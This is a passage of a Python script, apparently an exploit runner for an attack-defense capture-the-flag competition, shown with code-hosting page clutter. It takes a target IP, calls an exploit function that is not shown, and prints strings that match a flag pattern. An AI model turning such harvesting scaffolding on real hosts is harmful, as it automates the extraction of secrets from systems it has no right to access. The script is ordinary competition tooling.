for flag in FLAG_RX.findall(r.text):
|
||||||
|
flags.add(flag)
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
team_data = get_attack_data(target_ip)
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip, team_data)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user